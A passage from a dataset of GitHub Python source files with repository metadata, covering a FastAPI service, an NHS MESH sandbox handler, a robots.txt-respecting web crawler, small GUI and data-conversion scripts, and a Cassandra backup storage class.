})\n","repo_name":"yeah-creater/oj","sub_path":"Backend/views/video/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"34027969004","text":"from typing import Optional\nfrom uuid import uuid4\n\nfrom fastapi import BackgroundTasks, Depends, HTTPException, status\n\nfrom ..common.messaging import Messaging\nfrom ..dependencies import get_messaging\nfrom ..models.mailbox import Mailbox\nfrom ..models.message import (\n Message,\n MessageEvent,\n MessageMetadata,\n MessageParty,\n MessageStatus,\n MessageType,\n)\nfrom ..views.admin import AddMessageEventRequest, CreateReportRequest, MailboxDetails\n\n\nclass AdminHandler:\n def __init__(self, messaging: Messaging = Depends(get_messaging)):\n self.messaging = messaging\n\n async def reset(self, mailbox_id: Optional[str] = None):\n if self.messaging.readonly:\n raise HTTPException(\n status_code=status.HTTP_405_METHOD_NOT_ALLOWED,\n detail=\"reset not supported for current store mode\",\n )\n\n if not mailbox_id:\n await self.messaging.reset()\n return\n\n mailbox = await self.messaging.get_mailbox(mailbox_id, accessed=False)\n if not mailbox:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"mailbox does not exist\")\n\n await self.messaging.reset_mailbox(mailbox.mailbox_id)\n\n async def create_report(self, request: CreateReportRequest, background_tasks: BackgroundTasks) -> Message:\n recipient = await self.messaging.get_mailbox(request.mailbox_id, accessed=False)\n if not recipient:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"mailbox does not exist\")\n\n assert request.status in (MessageStatus.UNDELIVERABLE, MessageStatus.ERROR)\n\n message = Message(\n events=[\n MessageEvent(status=MessageStatus.ACCEPTED),\n MessageEvent(\n status=request.status,\n event=\"TRANSFER\",\n code=request.code,\n description=request.description,\n linked_message_id=request.linked_message_id,\n ),\n ],\n message_id=uuid4().hex.upper(),\n sender=MessageParty(\n mailbox_id=\"\",\n mailbox_name=\"Central System Mailbox\",\n ods_code=\"X26\",\n org_code=\"X26\",\n org_name=\"NHS England\",\n billing_entity=\"England\",\n ),\n recipient=MessageParty(\n mailbox_id=recipient.mailbox_id,\n mailbox_name=recipient.mailbox_name,\n ods_code=recipient.ods_code,\n org_code=recipient.org_code,\n org_name=recipient.org_name,\n billing_entity=recipient.billing_entity,\n ),\n total_chunks=0,\n message_type=MessageType.REPORT,\n workflow_id=request.workflow_id,\n metadata=MessageMetadata(\n subject=request.subject,\n local_id=request.local_id,\n file_name=request.file_name,\n ),\n )\n\n await self.messaging.send_message(message=message, body=b\"\", background_tasks=background_tasks)\n\n return message\n\n async def add_message_event(\n self, message_id: str, new_event: AddMessageEventRequest, background_tasks: BackgroundTasks\n ):\n message = await self.messaging.get_message(message_id)\n if not message:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n\n event = MessageEvent(\n status=new_event.status,\n code=new_event.code,\n event=new_event.event,\n description=new_event.description,\n linked_message_id=new_event.linked_message_id,\n )\n\n message = await self.messaging.add_message_event(message, event, background_tasks)\n\n return message\n\n async def get_mailbox_details(self, mailbox_id: str) -> MailboxDetails:\n mailbox: Optional[Mailbox] = await self.messaging.get_mailbox(mailbox_id)\n if not mailbox:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n\n return MailboxDetails.from_mailbox(mailbox)\n","repo_name":"NHSDigital/mesh-sandbox","sub_path":"src/mesh_sandbox/handlers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"26711852266","text":"import torch.nn as nn\n\n\nclass logSoftmax(nn.Module):\n \"Define standard linear + softmax generation step.\"\n def __init__(self, embed_size, output_size):\n super().__init__()\n self.proj = nn.Linear(embed_size, output_size)\n self.logSoftmax = nn.LogSoftmax(dim=-1)\n # self.model = nn.Sequential(\n # nn.Linear(embed_size, vocab_size),\n # nn.LogSoftmax(-1)\n # )\n def forward(self, x):\n out = self.proj(x)\n out = self.logSoftmax(out)\n return out\n","repo_name":"leinaxd/CodeBank","sub_path":"CodeBank/machine_learning/neural_networks/outputLayer/logSoftmax.py","file_name":"logSoftmax.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36763018437","text":"import sys\nfrom urllib.parse import urlparse, urlunparse\nfrom urllib.robotparser import RobotFileParser\n\nclass Crawler(object):\n def __init__(self, database, fetcher, analyzer, verbose=False):\n self.database = database\n self.fetcher = fetcher\n self.analyzer = analyzer\n self.verbose = verbose\n self.queue = set()\n self.robot_parser = RobotFileParser()\n\n def crawl(self, url):\n \"\"\"Begin recursively crawling pages starting from the given URL.\n\n :param url: Starting URL\n :returns: None\n \"\"\"\n if self.database.is_page_stored(url):\n print(\"Page is already crawled. Use --flush to flush the database file.\", file=sys.stderr)\n else:\n # Because crawling is restricted to pages on the same domain, the\n # robots.txt file can be loaded once at the beginning of the crawl\n self.load_robots_file(url)\n\n # Add the starting URL to the queue of pages to be crawled, and\n # then keep crawling while there are still URLs in the queue\n self.queue.add(url)\n while len(self.queue) > 0:\n self.crawl_one(self.queue.pop())\n\n def crawl_one(self, url):\n \"\"\"Fetch a single page and analyze it for links. The found triples are\n stored in the database, and found links that should be crawled are\n added to the queue.\n\n :param url: The page to fetch and analyze\n :returns: None\n \"\"\"\n if self.verbose:\n print(url, file=sys.stderr)\n\n status, html = self.fetcher.fetch(url)\n\n if status is None:\n # The status code will be None if retrieval failed\n print(\"Failed to get {}\".format(url), file=sys.stderr)\n else:\n # Search for links and images in the page, and get them as triples\n # of (page URL, link type, link URL)\n triples = self.analyzer.analyze(url, html)\n\n self.database.store_triples(triples)\n\n # Any linked URLs that are eligible for crawling are added to the\n # pending crawl queue\n for page_url, link_type, link_url in triples:\n if self.should_crawl(page_url, link_type, link_url):\n self.queue.add(link_url)\n\n def should_crawl(self, page_url, link_type, link_url):\n \"\"\"Determine whether a URL should be crawled.\n\n :param page_url: The page the link came from.\n :param link_type: The type of link URL.\n :param link_url: The link URL to test.\n :returns: True if the link URL should be crawled, otherwise False.\n \"\"\"\n # Only HTML pages should be crawled, not other media\n if link_type not in ('page', 'iframe'):\n return False\n\n # The link should be on the same domain as the page it's linked from\n if not self.have_same_domain(page_url, link_url):\n return False\n\n # Fetching the link URL should be permitted by robots.txt\n if not self.robot_parser.can_fetch('Cosmo', link_url):\n return False\n\n # The linked page should not have been crawled already\n if self.database.is_page_stored(link_url):\n return False\n\n return True\n\n def have_same_domain(self, url1, url2):\n \"\"\"Test whether two URLs have the same hostname and port.\n\n :returns: True if they do, otherwise False\n \"\"\"\n return urlparse(url1).netloc == urlparse(url2).netloc\n\n def load_robots_file(self, url):\n \"\"\"Load the /robots.txt file for the given URL by reusing the scheme\n and authority parts.\n\n :param url: The URL from which to take the scheme and authority parts.\n :returns: None\n \"\"\"\n # Create a new URL with the same scheme, host and port, but with a\n # path of /robots.txt\n parsed = urlparse(url)\n robots_url = urlunparse((parsed.scheme, parsed.netloc, '/robots.txt', '', '', ''))\n\n # Load the robots.txt file using the requests library, because we need\n # to specify the User-Agent header. I noticed on a CloudFlare-fronted\n # site that it returns a 403 for /robots.txt if the the user agent is\n # Python-urllib, but 200 if it's Cosmo.\n status, robots_file = self.fetcher.fetch(robots_url)\n if status in (401, 403):\n self.robot_parser.disallow_all = True\n elif status >= 400:\n self.robot_parser.allow_all = True\n else:\n self.robot_parser.parse(robots_file.splitlines())\n","repo_name":"danellis/cosmo","sub_path":"cosmo/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8133160051","text":"import numpy as numpy\nimport pandas as pd\nimport json\n\ndef saveTable():\n\n\t#Save result to file\n\twith open(\"taxi_availability.json\",\"r\") as outfile:\n\n\t\tdata = json.loads(outfile.read())\n\n\t\t# Get only the values\n\t\tvalueList = data[\"value\"]\n\n\t\tlat,lng = [],[]\n\t\tfor location in valueList:\n\t\t\tlat.append(location[\"Latitude\"])\n\t\t\tlng.append(location[\"Longitude\"])\n\t\tdf = pd.DataFrame([lat,lng]).T\n\t\tdf.to_csv('output.txt')\n\nif __name__ ==\"__main__\":\n\tsaveTable()\n","repo_name":"doranbae/TaxiAvailability_Singapore","sub_path":"savetotable.py","file_name":"savetotable.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12925136970","text":"class WordNumericEncoder:\n def __init__(self, words, common=0, rare_word_token=\"UNK\"):\n self._words = words\n self._rare_word_token = rare_word_token\n self._counter = collections.Counter(words)\n \n self._set_items(common)\n self._build_dictionary()\n self._encode_words()\n \n def _set_items(self, common=0):\n self._items = [[self._rare_word_token, -1]]\n if common <= 0:\n common = len(self._words)\n self._items = []\n self._items.extend(self._counter.most_common(common))\n \n def _build_dictionary(self):\n self._dictionary = dict()\n for word, _ in self._items:\n self._dictionary[word] = len(self._dictionary)\n \n def _encode_words(self):\n data = list()\n unk_count = 0\n for word in self._words:\n if word in self._dictionary:\n index = self._dictionary[word]\n else:\n index = 0 # items['UNK']\n unk_count = unk_count + 1\n data.append(index)\n self._items[0][1] = unk_count\n self._data = data\n \n def get_data(self):\n return self._data\n \n def get_reverse_dictionary(self):\n return dict(zip(self._dictionary.values(), self._dictionary.keys())) \n \n \n#e = WordNumericEncoder(words[:20], 15)\n#encoded = e.get_data()[:10]\n#reverse = e.get_reverse_dictionary()\n#print(words[:10]) # ['anarchism', 'originated', 'as', 'a', 'term', 'of', 'abuse', 'first', 'used', 'against']\n#print(encoded) # [0, 5, 4, 13, 14, 1, 7, 0, 6, 11]\n#print([reverse[i] for i in encoded]) # ['UNK', 'originated', 'as', 'a', 'term', 'of', 'abuse', 'UNK', 'used', 'against']\n\n","repo_name":"urakozz/ml-components","sub_path":"word2vec/word_encoder.py","file_name":"word_encoder.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73327116678","text":"import PySimpleGUI as sg\nimport math\n\nsg.theme(\"GreenMono\")\n\nclearkeys=['-FIRSTNUM-','-SECONDNUM-','-RESULT-']\n\nlayout = [\n [sg.Text(\"Enter first number\"),sg.Input(key= '-FIRSTNUM-')],\n [sg.Text(\"Enter second number\"),sg.Input(key= '-SECONDNUM-')],\n [sg.Text(\"Your result is\"), sg.Input(key='-RESULT-')],\n [sg.Button(\"Add\"), sg.Button(\"Subtract\"), sg.Button(\"Multiply\")],\n [sg.Button(\"Divide\"), sg.Button(\"Square\"), sg.Button(\"Square Root\")],\n [sg.Button(\"Clear\")]\n]\n\nwin = sg.Window(\"Calculator\",layout)\n\nwhile True:\n event, values = win.read()\n if event == sg.WIN_CLOSED:\n break\n if event == \"Add\":\n sum = int(values['-FIRSTNUM-']) + int(values['-SECONDNUM-'])\n win['-RESULT-'].update(sum)\n if event == \"Subtract\":\n subt = int(values['-FIRSTNUM-']) - int(values['-SECONDNUM-'])\n win['-RESULT-'].update(subt)\n if event == \"Multiply\":\n mult = int(values['-FIRSTNUM-']) * int(values['-SECONDNUM-'])\n win['-RESULT-'].update(mult)\n if event == \"Divide\":\n divi = int(values['-FIRSTNUM-']) / int(values['-SECONDNUM-'])\n win['-RESULT-'].update(divi)\n if event == \"Square\":\n square = int(values['-FIRSTNUM-']) * int(values['-FIRSTNUM-'])\n win['-RESULT-'].update(square)\n if event == \"Square Root\":\n sqrt = math.sqrt(int(values['-FIRSTNUM-']))\n win['-RESULT-'].update(sqrt)\n if event == \"Clear\":\n for key in clearkeys:\n win[key]('')\n\nwin.close()\n","repo_name":"Zencriel/PySimpleGUIPractice","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71796369477","text":"# We can open, close, read, write or perform any other kind of work with file using Python\n# There are several modes from which we can open a file\n\n# r => read file\n# w => write in file , overwrite hunxa \n# a => append mode\n# r+ => read and write mode ,append jasto hunxa\n# w+ => write and read mode , overwrite gardinxa\n# x => exclusive write mode , if file already exits then it raise error\n# a+ => append and read mode\n\n\n\nfilename=\"message.txt\"\nfp=open(filename,\"w\")\nfp.write(\"hello world\")\nfp.close()\n\n\nfp=open(filename,\"r\")\ndata=fp.read()\nprint(data)\nprint(type(data)) # String # file bata read gareko data is always string.\nfp.close()\n\n# Closing the file is important as it protects the system from memory leakage.\n# But sometime we may forget to close the file\n# so it is better to open file with context manager\n\n# Context Manager\nwith open(filename,\"a\") as fp: # file close garirakhnu parena yesma chai\n fp.write(\"\\nI'm learning Python\")\n\nwith open(filename,\"r+\") as fp:\n data=fp.read()\n print(data)\n fp.write(\"Python is a high level language\") \n\nwith open(filename,\"r+\") as fp:\n data=fp.read()\n print(data)\n fp.seek(0) # it puts the filw pointer(cursor) to the start of the file\n fp.write(\"Python is a high level language\") \n\nwith open(filename,\"w+\") as fp:\n fp.write(\"This is me who is learning\") #overwrite gardinxa\n fp.seek(0)\n data=fp.read()\n print(data) \n\n# with open(filename,\"x\") as fp:\n # fp.write(\"Hello World.I'm learning python\")\n# filename= message.txt is already created so it will raise error\n","repo_name":"UshaSuwal/Python-class","sub_path":"day19/1_file_handling.py","file_name":"1_file_handling.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3813098149","text":"from typing import List\r\nfrom pathlib import Path\r\n\r\nfrom fastapi import FastAPI, HTTPException\r\nfrom fastapi.responses import HTMLResponse\r\n\r\nfrom .models import (\r\n Device,\r\n MeasurementMeta,\r\n MeasurementData,\r\n get_all_device_from_data_folder,\r\n get_all_measurements_for_device,\r\n get_measurement_data_from_id,\r\n NoMeasurementsFoundException,\r\n)\r\nfrom .utils import create_graph\r\n\r\napp = FastAPI()\r\n\r\n\r\n@app.get(\"/\")\r\ndef root():\r\n return {\"message\": \"Hello World\"}\r\n\r\n\r\n@app.get(\"/devices\", response_model=List[Device])\r\ndef get_all_devices():\r\n return get_all_device_from_data_folder()\r\n\r\n\r\n@app.get(\"/device/{device_id}/measurements\", response_model=List[MeasurementMeta])\r\ndef get_measurements_for_device(device_id: str):\r\n try:\r\n return get_all_measurements_for_device(device_name=device_id)\r\n except NoMeasurementsFoundException:\r\n return HTTPException(status_code=404, detail=\"No measurements for device found\")\r\n\r\n\r\n@app.get(\"/measurements/{measurement_id}\", response_model=MeasurementData)\r\ndef get_data_from_measurement(measurement_id):\r\n try:\r\n return get_measurement_data_from_id(measure_id=measurement_id)\r\n except FileNotFoundError:\r\n return HTTPException(\r\n status_code=404, detail=f\"Measurement {measurement_id} not found.\"\r\n )\r\n\r\n\r\n# https://fastapi.tiangolo.com/advanced/custom-response/\r\n@app.get(\"/measurements/{measurement_id}/graph\", response_class=HTMLResponse)\r\ndef get_graph_from_measurement(measurement_id):\r\n try:\r\n data: MeasurementData = get_measurement_data_from_id(measure_id=measurement_id)\r\n except FileNotFoundError:\r\n return HTTPException(\r\n status_code=404, detail=f\"Measurement {measurement_id} not found.\"\r\n )\r\n return create_graph(data=data)\r\n","repo_name":"tabeatheunicorn/python-meetup-api","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20372108595","text":"import requests\nimport base64\nimport json\n\nbase_url = \"http://dummy.restapiexample.com/api/v1/employees\";\n#base_url = \"https://v6.exchangerate-api.com/v6/1fca918a82cf5772aab3ea46/latest/USD\";\n\ndef get_report(base_url):\n print(\"Getting report results...\")\n header_gs = {'Accept': 'application/json'}\n r = requests.get(base_url)\n if r.ok:\n print(\"Report results received...\")\n print(\"HTTP %i - %s\" % (r.status_code, r.reason))\n return r.text\n else:\n print(\"HTTP %i - %s\" % (r.status_code, r.reason))\n\ndef export_to_json(base_url):\n print(\"Exporting report results to JSON file...\")\n r = get_report(base_url)\n text_file = open(\"report_results.json\", \"w\", encoding=\"utf8\")\n text_file.write(r)\n text_file.close()\n\ndef export_to_csv(base_url):\n print(\"Exporting report results to JSON file...\")\n\n csv_file = open('report_results.csv', \"w\", encoding=\"utf8\")\n csv_file.write(\"Id, Employee_Name\"+\"\\n\") #manually modify this CSV file header\n csv_file.close()\n\n #there are 3 attributes in my example; add/remove levels according to the number of attributes in your case\n r = get_report(base_url)\n report_parsed = json.loads(r)\n print(report_parsed)\n a1_list = report_parsed['data']\n print(a1_list)\n for a1 in a1_list:\n a1_id = a1['id']\n a2_employee_name=a1['employee_name']\n csv_file = open('report_results.csv', \"a\", encoding=\"utf8\")\n csv_file.write(\"'\"+a1_id + \"','\" + a2_employee_name +\"\\n\")\n csv_file.close()\n\n\n print(\"Export finished\")\n\ndef main():\n choice = None\n while choice != \"0\":\n print \\\n (\"\"\"\n ---MENU---\n \n 0 - Exit\n 1 - Export report results to JSON file\n 2 - Export report results to CSV file\n \"\"\")\n\n choice = input(\"Your choice: \") # What To Do ???\n print()\n\n if choice == \"0\":\n print(\"Good bye!\")\n elif choice == \"1\":\n export_to_json(base_url)\n elif choice == \"2\":\n export_to_csv(base_url)\n else:\n print(\" ### Wrong option ### \")\n\n### Main program\nmain()\n\n","repo_name":"irsal-yunus/python-get-data-api","sub_path":"getDataAPiToJsonAnsCsv.py","file_name":"getDataAPiToJsonAnsCsv.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14660450593","text":"import argparse\nimport os\nimport csv\n\n\ndef write_ner(ace_file, ner_file):\n all_lines = []\n with open(ace_file, 'r') as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n token = row[\"token\"]\n if token == \"----sentence_delimiter----\":\n all_lines.append(\"\\n\")\n else:\n token_offset_parts = row[\"offset\"].split(':')\n offset_parts = token_offset_parts[1].split('-')\n token_start = int(offset_parts[0])\n token_end = int(offset_parts[1])\n if row[\"ner_type\"] == \"O\":\n all_lines.append(row[\"token\"] + \" \" + row[\"offset\"] + \" \" + row[\"ner_type\"] + \"\\n\")\n else:\n ner_nam_nom = row[\"ner_nam_nom\"]\n if ner_nam_nom == \"NAM\":\n ner_offset_parts = row[\"ner_offset\"].split(':')\n ner_start = int(ner_offset_parts[0])\n ner_end = int(ner_offset_parts[1])\n ner_type_parts = row[\"ner_type\"].split(\":\")\n tag = ner_type_parts[0] + \"-\" + determine_tag(token_start, token_end, ner_start, ner_end)\n all_lines.append(row[\"token\"] + \" \" + row[\"offset\"] + \" \" + tag + \"\\n\")\n else:\n all_lines.append(row[\"token\"] + \" \" + row[\"offset\"] + \" \" + \"O\" + \"\\n\")\n new_all_lines = validate_lines(all_lines)\n out = open(ner_file, 'w')\n for l in new_all_lines:\n out.write(l)\n out.close()\n\n\ndef validate_lines(all_lines):\n new_all_lines = []\n pre_tag = \"\"\n for i in range(len(all_lines)):\n current_line = all_lines[i].strip()\n if len(current_line) == 0:\n new_all_lines.append(current_line + \"\\n\")\n else:\n parts = current_line.split(' ')\n tag = parts[2]\n if tag.endswith(\"I\") and not (pre_tag.endswith(\"B\") or pre_tag.endswith(\"I\")):\n print(\"Error \" + current_line)\n new_line = all_lines[i].strip()[:-1] + \"B\"\n new_all_lines.append(new_line + \"\\n\")\n else:\n new_all_lines.append(all_lines[i].strip() + \"\\n\")\n pre_tag = tag\n return new_all_lines\n\n\ndef determine_tag(token_start, token_end, ner_start, ner_end):\n tag = \"B\"\n if token_start <= ner_start <= token_end:\n tag = \"B\"\n elif ner_start < token_start < ner_end:\n tag = \"I\"\n return tag\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--ace', type=str,\n help='ace input path')\n parser.add_argument('--ner', type=str,\n help='ner bio path')\n\n args = parser.parse_args()\n\n ace_path = args.ace\n ner_path = args.ner\n\n if not os.path.exists(ner_path):\n os.makedirs(ner_path)\n\n file_names = []\n if os.path.isdir(ace_path):\n file_names = [item[:-4]\n for item in os.listdir(ace_path)\n if item.endswith(\".csv\")]\n else:\n file_names = [ace_path]\n\n for f in file_names:\n print(f)\n ace_file= os.path.join(ace_path, f+\".csv\")\n ner_file = os.path.join(ner_path, f+\".ner\")\n\n if os.path.exists(ace_file):\n write_ner(ace_file, ner_file)","repo_name":"wilburOne/ACE_ERE_Scripts","sub_path":"ace2ner.py","file_name":"ace2ner.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"29153449502","text":"import bpy\nimport matlab_to_blender.tcp.server as server\nfrom . import classes\n\n# define server \nmTCPserver = server.TCPServer()\n\n# 在panel中显示数据\nclass Button_OT_clearData(bpy.types.Operator):\n bl_idname = \"triangle.cleardata\"\n bl_label = \"print data\"\n\n def execute(self, context):\n self.report({\"INFO\"},\"clear data from matlab\")\n\n scene = context.scene\n try:\n names = scene['name']\n except KeyError as e:\n name_exit = False\n self.report({\"ERRO\"},repr(e))\n else:\n name_exit = True\n if name_exit:\n for name in names:\n del scene[name]\n del scene['name']\n self.report({\"INFO\"},\"clear success\")\n\n return {\"FINISHED\"}\n\n\n# start server\nclass Button_OT_serverStart(bpy.types.Operator):\n global mTCPserver\n\n bl_idname = \"triangle.serverstart\"\n bl_label = \"start TCP server\"\n\n def execute(self, context):\n # self.report({\"INFO\"},\"start TCP server\")\n\n port = context.scene.tcpPortTri\n IP = context.scene.tcpIpTri\n mTCPserver.initServer(IP,port,context)\n mTCPserver.startServer()\n\n print(\"run: \",mTCPserver.isRun,\"state : \",mTCPserver.state)\n # 禁用启动start button\n # context.scene.isRunTCP = mTCPserver.isRun\n return {\"FINISHED\"}\n\n# stop server\nclass Button_OT_serverStop(bpy.types.Operator):\n global mTCPserver\n\n bl_idname = \"triangle.serverstop\"\n bl_label = \"stop TCP server\"\n\n def execute(self, context):\n self.report({\"INFO\"},\"stop TCP server\")\n\n mTCPserver.stopServer()\n\n # 禁用启动stop button\n # context.scene.isRunTCP = mTCPserver.isRun\n return {\"FINISHED\"}\n\n# TCP panel\nclass UIpanel_PT_TCP(bpy.types.Panel):\n bl_label = \"TCP\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_context = \"objectmode\"\n bl_category = \"MTB\"\n\n # poll检测\n @classmethod\n def poll(cls, context):\n return (context.object is not None)\n \n # UI绘制\n def draw(self, context):\n global mTCPserver\n layout = self.layout\n scene = context.scene\n isRunTCP = mTCPserver.isRun\n\n tcpBox = layout.box()\n tcpBox.use_property_split = True # text 与参数分离\n tcpBox.use_property_decorate = False\n\n tcpBox.alignment = 'RIGHT'\n tcpBox.label(text=\"TCP Server\")\n tcpBox.prop(scene,'tcpIpTri',text=\"IP:\")\n tcpBox.prop(scene,'tcpPortTri',text=\"Port:\")\n tcpBox.prop(scene,'outTime',text='time out:')\n\n tcpBox.separator()\n\n row = tcpBox.row()\n row.use_property_split = True # text 与参数分离\n row.alignment = 'RIGHT'\n row.enabled = not isRunTCP\n row.prop(scene,'isUpdateFrame',text='update frame')\n\n tcpBox.separator()\n\n row = tcpBox.row()\n # start server button\n subCol = row.column()\n subCol.enabled = not isRunTCP\n subCol.operator(\"triangle.serverstart\",text=\"start\")\n \n # stop server button\n subCol = row.column()\n subCol.enabled = isRunTCP\n subCol.operator(\"triangle.serverstop\",text=\"stop\")\n\n if mTCPserver.state == 0:\n print('ERRO: ',mTCPserver.info)\n mTCPserver.state = 1\n\n\n# data panel\nclass UIpanel_PT_data(bpy.types.Panel):\n bl_label = \"Data\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n bl_context = \"objectmode\"\n bl_category = \"MTB\"\n\n # poll检测\n @classmethod\n def poll(cls, context):\n return (context.object is not None)\n \n # UI绘制\n def draw(self, context):\n layout = self.layout\n scene = context.scene\n\n dataBox = layout.box()\n dataBox.operator(\"triangle.cleardata\",text=\"clear Data\")\n\n try:\n names = scene['name']\n except KeyError:\n name_exit = False\n else:\n name_exit =True\n\n # 存储数据的名字\n if name_exit:\n try:\n for name in names:\n if name in scene.keys():\n key = '[\"{}\"]'.format(name)\n dataBox.prop(scene,key)\n else:\n break\n except KeyError:\n pass\n\n \n\nif __name__ == \"__main__\":\n # unregister all class\n for classe in classes.mClasses:\n bpy.utils.unregister_class(classe)\n","repo_name":"spite-triangle/matlab-to-blender","sub_path":"rsc/matlab_to_blender/UIControl.py","file_name":"UIControl.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25454027011","text":"'''\nIndex:\n AuthorizationException\n InputException\n TicketDBException\n ErrorTraceBack\n'''\nimport sys\nimport traceback\n\nfrom namespace import AuthorizeationError, TicketDBError\n\nclass AuthorizationException(Exception):\n '''Authorization exception.'''\n def __init__(self, error: AuthorizeationError):\n self.error_type = error\n\nclass InputException(Exception):\n '''Input exception.'''\n def __init__(self, error: TicketDBError) -> None:\n self.error_type = error\n\nclass TicketDBException(Exception):\n '''Ticket DB exception.'''\n def __init__(self, error: TicketDBError) -> None:\n self.error_type = error\n\nclass ErrorTraceBack():\n '''Error trace back.'''\n def __init__(self) -> None:\n pass\n\n def error_msg(self, error_title: str = '') -> None:\n '''Show error message.'''\n _, error_value, exc_traceback = sys.exc_info() # get Call Stack\n last_call_stack = traceback.extract_tb(exc_traceback) [-1] # get the last call back\n file_name = last_call_stack [0]\n line_num = last_call_stack[1]\n func_name = last_call_stack[2]\n print(f'\\n{error_title}:{error_value}')\n print('\\tLocate at')\n print(f'\\t\\tFile: {file_name}')\n print(f'\\t\\tFunc: {func_name}()')\n print(f'\\tLine:\\t{line_num}')\n","repo_name":"Bassalttt/TicketSystem","sub_path":"error_handler.py","file_name":"error_handler.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7177736610","text":"import collections\nimport itertools\nimport logging\nimport operator\nimport pathlib\n\nfrom libcloud.storage.providers import Provider\nfrom libcloud.common.types import InvalidCredsError\nfrom retrying import retry\n\nimport medusa.index\n\nfrom medusa.storage.cluster_backup import ClusterBackup\nfrom medusa.storage.node_backup import NodeBackup\nfrom medusa.storage.google_storage import GoogleStorage\nfrom medusa.storage.local_storage import LocalStorage\nfrom medusa.storage.s3_storage import S3Storage\n\n\nManifestObject = collections.namedtuple('ManifestObject', ['path', 'size', 'MD5'])\n\n\ndef format_bytes_str(value):\n for unit_shift, unit in enumerate(['B', 'KB', 'MB', 'GB', 'TB']):\n if value >> (unit_shift * 10) < 1024:\n break\n return '{:.2f} {}'.format(value / (1 << (unit_shift * 10)), unit)\n\n\nclass Storage(object):\n def __init__(self, *, config):\n self._config = config\n self._prefix = pathlib.Path(config.prefix or '.')\n self.storage_driver = self._connect_storage()\n self.storage_provider = self._config.storage_provider\n\n def _connect_storage(self):\n if self._config.storage_provider == Provider.GOOGLE_STORAGE:\n return GoogleStorage(self._config)\n elif self._config.storage_provider.startswith(Provider.S3):\n return S3Storage(self._config)\n elif self._config.storage_provider == Provider.LOCAL:\n return LocalStorage(self._config)\n\n raise NotImplementedError(\"Unsupported storage provider\")\n\n @property\n def config(self):\n return self._config\n\n @retry(stop_max_attempt_number=7, wait_exponential_multiplier=10000, wait_exponential_max=120000)\n def get_node_backup(self, *, fqdn, name, differential_mode=False):\n return NodeBackup(\n storage=self,\n name=name,\n fqdn=fqdn,\n differential_mode=differential_mode\n )\n\n def discover_node_backups(self, *, fqdn=None):\n \"\"\"\n Discovers nodes backups by traversing data folders.\n This operation is very taxing for cloud backends and should be avoided.\n We keep it in the codebase for the sole reason of allowing the compute-backup-indices to work.\n \"\"\"\n\n def get_backup_name_from_blob(blob):\n blob_path = pathlib.Path(blob.name)\n fqdn, name, *_ = blob_path.parts\n return fqdn, name\n\n def is_schema_blob(blob):\n return blob.name.endswith('/schema.cql')\n\n def includes_schema_blob(blobs):\n return any(map(is_schema_blob, blobs))\n\n prefix_path = fqdn if fqdn else ''\n\n logging.debug(\"Listing blobs with prefix '{}'\".format(prefix_path))\n\n storage_objects = filter(\n lambda blob: \"meta\" in blob.name,\n self.storage_driver.list_objects(path=prefix_path)\n )\n\n all_blobs = sorted(storage_objects, key=operator.attrgetter('name'))\n\n logging.debug(\"Finished listing blobs\")\n\n for (fqdn, backup_name), blobs in itertools.groupby(all_blobs, key=get_backup_name_from_blob):\n # consume the _blobs_ iterator into a list because we need to traverse it twice\n backup_blobs = list(blobs)\n if includes_schema_blob(backup_blobs):\n logging.debug(\"Found backup {}.{}\".format(fqdn, backup_name))\n yield NodeBackup(storage=self, fqdn=fqdn, name=backup_name, preloaded_blobs=backup_blobs)\n\n def list_node_backups(self, *, fqdn=None, backup_index_blobs=None):\n \"\"\"\n Lists node backups using the index.\n If there is no backup index, no backups will be found.\n Use discover_node_backups to discover backups from the data folders.\n \"\"\"\n\n def is_tokenmap_file(blob):\n return \"tokenmap\" in blob.name\n\n def get_blob_name(blob):\n return blob.name\n\n def get_all_backup_blob_names(blobs):\n # if the tokenmap file exists, we assume the whole backup exists too\n all_backup_blobs = filter(is_tokenmap_file, blobs)\n return list(map(get_blob_name, all_backup_blobs))\n\n def get_blobs_for_fqdn(blobs, fqdn):\n return list(filter(lambda b: fqdn in b, blobs))\n\n if backup_index_blobs is None:\n 